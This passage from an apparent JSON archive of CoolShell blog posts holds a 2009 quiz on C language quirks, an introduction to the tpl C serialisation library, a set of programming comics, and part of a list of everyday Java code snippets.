src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3063.html\"><img alt=\"40个很不错的CSS技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/870.html\">Web设计的速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-19 谁说C语言很简单？.html",
    "content": "<html><body><p></p>\n<p class=\"li-enumerate\">前两天，Neo写了一篇《<a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a>》其使用C语言讨论了一些语言的歧义。大家应该也顺便了解了一下C语言中的很多不可思异的东西，可能也是你从未注意到的东西。</p>\n<p class=\"li-enumerate\">是的，C语言并不简单，让我们来看看下面这些示例：</p>\n<ol class=\"enumerate\" type=\"1\">\n<li class=\"li-enumerate\"><strong>为什么下面的代码会返回0？(这题应该很简单吧)<br/>\n</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  int x;\n  return x == (1 &amp;&amp; x);\n</span></pre>\n<p>本题主要是关于C/C++中变量初始化的问题。</p></li>\n<p><span id=\"more-873\"></span></p>\n<li class=\"li-enumerate\"><strong>为什么下面的代码会返回0而不是-1？</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\"> return ((1 - sizeof(int)) &gt;&gt; 32);\n</span></pre>\n<p>答案：<tt>sizeof</tt> 是一个unsigned的类型，所以……</p></li>\n<li class=\"li-enumerate\"><strong>代码作用域是一件很诡异的事，下面这个函数返回值是什么？<br/>\n</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">int x = 5;\nint f() {\n  int x = 3;\n  {\n    extern int x;\n    return x;\n  }\n}\n</span></pre>\n<p>答案：5</p></li>\n<li class=\"li-enumerate\"><strong>函数和函数指针可以相互转换。下面的语句哪些是合法的？<br/>\n</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">int (*pf)(void);\nint f(void)\n{\n\n   pf = &amp;f; <span style=\"color: #008000;\">// 没问题</span>\n   pf = ***f; <span style=\"color: #008000;\">// 取址？</span>\n   pf(); <span style=\"color: #008000;\">// 函数指针可以调用？\n</span>   (****pf)();  <span style=\"color: #008000;\">// 这又是什么？</span>\n   (***************f)(); <span style=\"color: #008000;\">// 这个够变态了吧？</span>\n}\n</span></pre>\n<p>答案：全部合法。</p></li>\n<li class=\"li-enumerate\"><strong>初始化可能是ISO C中最难的部分了。无论是MSVC 还是GCC 都没有完全实现。GCC 可能更接近标准。在下面的代码中，<tt>i.nested.y</tt> 和<tt>i.nested.z的最终值是什么？</tt></strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">struct {\n   int x;\n   struct {\n       int y, z;\n   } nested;\n} i = { .nested.y = 5, 6, .x = 1, 2 };\n</span></pre>\n<p>答案：2和6</p></li>\n<li class=\"li-enumerate\"><strong>下面这个示例是C语言的痛，main函数返回值是什么？</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">typedef struct\n{\n  char *key;\n  char *value;\n} T1;\n\ntypedef struct\n{\n  long type;\n  char *value;\n} T3;\n\nT1 a[] =\n{\n  {\n    \"\",\n    ((char *)&amp;((T3) {1, (char *) 1}))\n  }\n};\nint main() {\n   T3 *pt3 = (T3*)a[0].value;\n   return pt3-&gt;value;\n}\n</span></pre>\n<p>答案：1（你知道为什么吗？）</p></li>\n<li class=\"li-enumerate\"><strong>下面这个例就更变态了。在GCC的文档中，这个语法是合法的，但是不知道为什么GCC并没有实现。下面的代码返回 2.</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\"> return ((int []){1,2,3,4})[1];\n</span></pre>\n<p> </p></li>\n<li class=\"li-enumerate\"><strong>在下面的这个示例中，有一个“bar” 函数及其函数指针 “pbar” 的两个拷贝(static 类型一般作用于语句块或文件域).</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  int foo() {\n     static bar();\n     static (*pbar)() = bar;\n\n  }\n\n  static bar() {\n    return 1;\n  }\n\n  static (*pbar)() = 0;\n</span></pre>\n<p> </p></li>\n<li class=\"li-enumerate\"><strong>下面的这个函数返回值是什么？取决于编译器是先处理unsigned long转型，还是负号。</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  unsigned long foo() {\n    return (unsigned long) - 1 / 8;\n  }\n</span></pre>\n<p>如果是： <tt>((unsigned long) - 1) / 8，那将是一个很大的数。<br/>\n</tt><tt>如果是：</tt> <tt>(unsigned long) (- 1 / 8 )</tt>, 那将是 0</p></li>\n</ol>\n<p class=\"li-enumerate\">是的，这样使用C语言可能很奇怪，不过我们可以从另一方面了解C语言的很多我们不常注意的特性。C语言其实并不容易。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/873.html\">谁说C语言很简单？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-21 一个C的序列化库tpl.html",
    "content": "<html><body><p>tpl(<a href=\"http://tpl.sourceforge.net/\">http://tpl.sourceforge.net/</a>)是一个开源的小项目，其主要是提供一个可以序列化或反序列化C语言数据的一个API函数库。tpl号称是最有效率的也是最快的，它可以把你内存中的数据存放到文件中，并可以在你需要的时候用文件中反序例化到内存变量中。而且这个函数库没有依赖于别的函数库。</p>\n<p>下面是一个简单的示例（来源于其主页）</p>\n<p>把一个数组（“序号”和“人名”）序例化到文件中。</p>\n<p><span id=\"more-878\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n#include \"tpl.h\"\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id=0;\n    char *name, *names[] = { \"joe\", \"bob\", \"cary\" };\n\n    tn = tpl_map(\"A(is)\", &amp;id, &amp;name);\n\n    for(name=names[0]; id &lt; 3; name=names[++id]) {\n        tpl_pack(tn,1);\n    }\n\n    tpl_dump(tn, TPL_FILE, \"users.tpl\");\n    tpl_free(tn);\n}\n</pre>\n<p>把上面那个序列化到文件的“序号”和“人名”反序列化回来。</p>\n<pre class=\"EnlighterJSRAW\">\n#include \"tpl.h\"\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id;\n    char *name;\n\n    tn = tpl_map(\"A(is)\", &amp;id, &amp;name);\n    tpl_load(tn, TPL_FILE, \"users.tpl\");\n\n    while ( tpl_unpack(tn,1) &gt; 0 ) {\n        printf(\"id %d, user %s\\n\", id, name);\n        free(name);\n    }\n    tpl_free(tn);\n}\n</pre>\n<p>更详细的使用说明请看其文档：<br/>\n<a href=\"http://tpl.sourceforge.net/userguide.html\">http://tpl.sourceforge.net/userguide.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/878.html\">一个C的序列化库tpl</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-21 几个有意思的漫画.html",
    "content": "<html><body><p></p>\n<h4>软件Bug和软件Feature的差别</h4>\n<p>注释：有时候bug和feature的差别就是bug长得难看了一些。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"><img alt=\"bug-feature\" class=\"alignnone size-medium wp-image-882\" height=\"225\" src=\"../wp-content/uploads/2009/05/bug-feature-300x225.jpg\" title=\"bug-feature\" width=\"300\"/></a></p>\n<p><span id=\"more-880\"></span></p>\n<p> </p>\n<h4>一个理解流程图的指南</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/flow_charts.png\"><img alt=\"flow_charts\" class=\"alignnone size-full wp-image-884\" height=\"534\" src=\"../wp-content/uploads/2009/05/flow_charts.png\" title=\"flow_charts\" width=\"740\"/></a></p>\n<h4>什么叫极限编程</h4>\n<p>注释，对话翻译——</p>\n<p>1）程序员：我不能在第一个版本给你所有的的功能。<br/>\n2）程序员：并且，每个功能需要有一个所谓的“用户案例（User Story）”<br/>\n3）用户：好吧，我告诉你一个“用户案例”——我要所有的功能，不然我就毁了你的生活。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming.gif\"><img alt=\"extreme-programming\" class=\"alignnone size-full wp-image-883\" height=\"212\" src=\"../wp-content/uploads/2009/05/extreme-programming.gif\" title=\"extreme-programming\" width=\"600\"/></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg\"></a></p>\n<h4>如何衡量好的代码</h4>\n<p>注释：下图中用“代码审核”流程中的每分钟出现“脏话”的个数来衡量代码的质量。（WTF is stand for “What the F**K”）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality.jpg\"><img alt=\"measurement-of-code-quality\" class=\"alignnone size-full wp-image-881\" height=\"471\" src=\"../wp-content/uploads/2009/05/measurement-of-code-quality.jpg\" title=\"measurement-of-code-quality\" width=\"500\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7048.html\"><img alt=\"挑战无处不在\" height=\"150\" src=\"../wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7048.html\">挑战无处不在</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6668.html\"><img alt=\"再谈javascript面向对象编程 \" height=\"150\" src=\"../wp-content/uploads/2012/02/joo_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3549.html\"><img alt=\"Android将允许纯C/C++开发应用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/880.html\">几个有意思的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-23 20非常有用的Java程序片段.html",
    "content": "<html><body><p>下面是20个非常有用的Java程序片段，希望能对你有用。</p>\n<p><strong>1. 字符串有整型的相互转换</strong></p>\n<pre class=\"EnlighterJSRAW\"> \nString a = String.valueOf(2);   //integer to numeric string  \nint i = Integer.parseInt(a); //numeric string to an int \n\n</pre>\n<p><span id=\"more-889\"></span><br/>\n<strong>2. 向文件末尾添加内容</strong></p>\n<pre class=\"EnlighterJSRAW\"> \nBufferedWriter out = null;  \ntry {  \n    out = new BufferedWriter(new FileWriter(”filename”, true));  \n    out.write(”aString”);  \n} catch (IOException e) {  \n    // error processing code  \n} finally {  \n    if (out != null) {  \n        out.close();  \n    }  \n} \n</pre>\n<p><strong>3. 得到当前方法的名字</strong></p>\n<pre class=\"EnlighterJSRAW\">\nString methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); \n</pre>\n<p><strong>4. 转字符串到日期</strong></p>\n<pre class=\"EnlighterJSRAW\"> \njava.util.Date = java.text.DateFormat.getDateInstance().parse(date String); \n</pre>\n<p>或者是：</p>\n<pre class=\"EnlighterJSRAW\"> \nSimpleDateFormat format = new SimpleDateFormat( \"dd.MM.yyyy\" );  \nDate date = format.parse( myString ); \n</pre>\n<p><strong>5. 使用JDBC链接Oracle</strong></p>\n<pre class=\"EnlighterJSRAW\">\npublic class OracleJdbcTest  \n{  \n    String driverClass = \"oracle.jdbc.driver.OracleDriver\";  \n \n    Connection con;  \n \n    public void init(FileInputStream fs) throws ClassNotFoundException, SQLException, FileNotFoundException, IOException  \n    {  \n        Properties props = new Properties();  \n        props.load(fs);  \n        String url = props.getProperty(\"db.url\");  \n        String userName = props.getProperty(\"db.user\");  \n        String password = props.getProperty(\"db.password\");  \n        Class.forName(driverClass);  \n \n        con=DriverManager.getConnection(url, userName, password);  \n    }  \n \n    public void fetch() throws SQLException, IOException  \n    {  \n        PreparedStatement ps = con.prepareStatement(\"select SYSDATE from dual\");  \n        ResultSet rs = ps.executeQuery();  \n \n        while (rs.next())  \n        {  \n            // do the thing you do  \n        }  \n        rs.close();  \n        ps.close();  \n    }  \n \n    public static void main(String[] args)  \n    {  \n        OracleJdbcTest test = new OracleJdbcTest();  \n        test.init();  \n        test.fetch();  \n    }  \n} \n</pre>\n<p><strong>6. 把 Java util.Date 转成 sql.Date</strong></p>\n<pre class=\"EnlighterJSRAW\">\njava.util.Date utilDate = new java.util.Date();  \njava.sql.Date sqlDate = new java.sql.Date(utilDate.getTime()); \n</pre>\n<p><strong>7. 使用NIO进行快速的文件拷贝</strong><br/>\n </p>\n<pre class=\"EnlighterJSRAW\">\npublic static void fileCopy( File in, File out )  \n            throws IOException  \n    {  \n        FileChannel inChannel = new FileInputStream( in ).getChannel();  \n        FileChannel outChannel = new FileOutputStream( out ).getChannel();  \n        try \n        {  \n//          inChannel.transferTo(0, inChannel.size(), outChannel);      // original -- apparently has trouble copying large files on Windows  \n \n            // magic number for Windows, 64Mb - 32Kb)  \n            int maxCount = (64 * 1024 * 1024) - (32 * 1024);  \n            long size = inChannel.size();  \n            long position = 0;  \n            while ( position &lt; size )  \n            {  \n               position += inChannel.transferTo( position, maxCount, outChannel );  \n            }  \n        }  \n        finally \n        {  \n            if ( inChannel != null )  \n            {  \n               inChannel.close();  \n            }  \n            if ( outChannel != null )  \n            {  \n                outChannel.close();  \n            }  \n        }  \n    } \n</pre>\n<p><strong>8. 创建图片的缩略图</strong></p>\n<pre class=\"EnlighterJSRAW\">\nprivate void createThumbnail(String filename, int thumbWidth, int thumbHeight, int quality, String outFilename)  \n        throws InterruptedException, FileNotFoundException, IOException  \n    {  \n        // load image from filename  \n        Image image = Toolkit.getDefaultToolkit().getImage(filename);  \n        MediaTracker mediaTracker = new MediaTracker(new Container());  \n        mediaTracker.addImage(image, 0);  \n        mediaTracker.waitForID(0);  \n        // use this to test for errors at this point: System.out.println(mediaTracker.isErrorAny());  \n \n        // determine thumbnail size from WIDTH and HEIGHT  \n        double thumbRatio = (double)thumbWidth / (double)thumbHeight;  \n        int imageWidth = image.getWidth(null);  \n        int imageHeight = image.getHeight(null);  \n        double imageRatio = (double)imageWidth / (double)imageHeight;  \n        if (thumbRatio &lt; imageRatio) {  \n            thumbHeight = (int)(thumbWidth / imageRatio);  \n        } else {  \n            thumbWidth = (int)(thumbHeight * imageRatio);  \n        }  \n \n        // draw original image to thumbnail image object and  \n        // scale it to the new size on-the-fly  \n        BufferedImage thumbImage = new BufferedImage(thumbWidth, thumbHeight, BufferedImage.TYPE_INT_RGB);  \n        Graphics2D graphics2D = thumbImage.createGraphics();  \n        graphics2D.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);  \n        graphics2D.drawImage(image, 0, 0, thumbWidth, thumbHeight, null);  \n \n        // save thumbnail image to outFilename  \n        BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(outFilename));  \n        JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);  \n        JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(thumbImage);  \n        quality = Math.max(0, Math.min(quality, 100));  \n        param.setQuality((float)quality / 100.0f, false);  \n        encoder.setJPEGEncodeParam(param);  \n        encoder.encode(thumbImage);  \n        out.close();  \n    } \n</pre>\n<p><strong>9. 创建 JSON 格式的数据</strong></p>\n<p>请先阅读<a href=\"http://viralpatel.net/blogs/2009/02/creating-parsing-json-data-with-java-servlet-struts-jsp-json.html\"><span style=\"color: #366799;\">这篇文章</span></a> 了解一些细节，<br/>\n并下面这个JAR 文件：<a href=\"http://viralpatel.net/blogs/download/json/json-rpc-1.0.jar\"><span style=\"color: #366799;\">json-rpc-1.0.jar (75 kb)</span></a></p>\n<pre class=\"EnlighterJSRAW\">\nimport org.json.JSONObject;  \n...  \n...  \nJSONObject json = new JSONObject();  \njson.put(\"city\", \"Mumbai\");  \njson.put(\"country\", \"India\");  \n...  \nString output = json.toString();  \n... \n</pre>\n<p><strong>10. 使用iText JAR生成PDF</strong></p>\n<p>阅读这篇<a href=\"http://viralpatel.net/blogs/2009/04/generate-pdf-file-in-java-using-itext-jar.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多细节</p>\n<pre class=\"EnlighterJSRAW\"> \nimport java.io.File;  \nimport java.io.FileOutputStream;  \nimport java.io.OutputStream;  \nimport java.util.Date;  \n \nimport com.lowagie.text.Document;  \nimport com.lowagie.text.Paragraph;  \nimport com.lowagie.text.pdf.PdfWriter;  \n \npublic class GeneratePDF {  \n \n    public static void main(String[] args) {  \n        try {  \n            OutputStream file = new FileOutputStream(new File(\"C:\\\\Test.pdf\"));  \n \n            Document document = new Document();  \n            PdfWriter.getInstance(document, file);  \n            document.open();  \n            document.add(new Paragraph(\"Hello Kiran\"));  \n            document.add(new Paragraph(new Date().toString()));  \n \n            document.close();  \n            file.close();  \n \n        } catch (Exception e) {  \n \n            e.printStackTrace();  \n        }  \n    }  \n} \n</pre>\n<p><strong>11. HTTP 代理设置</strong></p>\n<p>阅读这篇 <a href=\"http://viralpatel.net/blogs/2009/04/http-proxy-setting-java-setting-proxy-java.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多细节。</p>\n<pre class=\"EnlighterJSRAW\"> \nSystem.getProperties().put(\"http.proxyHost\", \"someProxyURL\");  \nSystem.getProperties().put(\"http.proxyPort\", \"someProxyPort\");  \nSystem.getProperties().put(\"http.proxyUser\", \"someUserName\");  \nSystem.getProperties().put(\"http.proxyPassword\", \"somePassword\"); \n</pre>\n<p><strong>12. 单实例Singleton 示例</strong></p>\n<p>请先阅读这篇<a href=\"http://viralpatel.net/blogs/2009/01/java-singleton-design-pattern-tutorial-example-singleton-j2ee-design-pattern.html\"><span style=\"color: #366799;\">文章</span></a> 了解更多信息</p>\n<pre class=\"EnlighterJSRAW\"> \npublic class SimpleSingleton {  \n    private static SimpleSingleton singleInstance =  new SimpleSingleton();  \n \n    //Marking default constructor private  \n    //to avoid direct instantiation.  \n    private SimpleSingleton() {  \n    }  \n \n    //Get instance for class SimpleSingleton  \n    public static SimpleSingleton getInstance() {  \n \n        return singleInstance;  \n    }  \n} \n</pre>\n<p>另一种实现</p>\n<pre class=\"EnlighterJSRAW\">\npublic enum SimpleSingleton {  \n    INSTANCE;  \n    public void doSomething() {  \n    }  \n}  \n \n//Call the method from Singleton:  \nSimpleSingleton.INSTANCE.doSomething(); \n</pre>\n<p><strong>13. 抓屏程序</strong></p>\n<p>阅读这篇<a href=\"http://viralpatel.net/blogs/2009/01/how-to-take-screen-shots-in-java-taking-screenshots-java.html\"><span style=\"color: #366799;\">文章</span></a> 获得更多信息。</p>\n<pre class=\"EnlighterJSRAW\">\nimport java.awt.Dimension;  \nimport java.awt.Rectangle;  \nimport java.awt.Robot;  \nimport java.awt.Toolkit;  \nimport java.awt.image.BufferedImage;  \nimport javax.imageio.ImageIO;  \nimport java.io.File;  \n \n...  \n \npublic void captureScreen(String fileName) throws Exception {  \n \n   Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();  \n   Rectangle screenRectangle = new Rectangle(screenSize);  \n   Robot robot = new Robot();  \n   BufferedImage image = robot.createScreenCapture(screenRectangle);  \n   ImageIO.write(image, \"png\", new File(fileName));  \n \n}  \n... \n</pre>\n<p> </p>\n<p> </p>\n<p><strong>14. 列出文件和目录</strong></p>\n<pre class=\"EnlighterJSRAW\">\nFile dir = new File(\"directoryName\");  \n  String[] children = dir.list();  \n  if (children == null) {  \n      // Either dir does not exist or is not a directory  \n  } else {  \n      for (int i=0; i &lt; children.length; i++) {  \n          // Get filename of file or directory  \n          String filename = children[i];  \n      }  \n  }  \n \n  // It is also possible to filter the list of returned files.  \n  // This example does not return any files that start with `.'.  \n  FilenameFilter filter = new FilenameFilter() {  \n      public boolean accept(File dir, String name) {  \n          return !name.startsWith(\".\");  \n      }  \n  };  \n  children = dir.list(filter);  \n \n  // The list of files can also be retrieved as File objects  \n  File[] files = dir.listFiles();  \n \n  // This filter only returns directories  \n  FileFilter fileFilter = new FileFilter() {  \n      public boolean accept(File file) {  \n          return file.isDirectory();  \n      }  \n  };  \n  files = dir.listFiles(fileFilter); 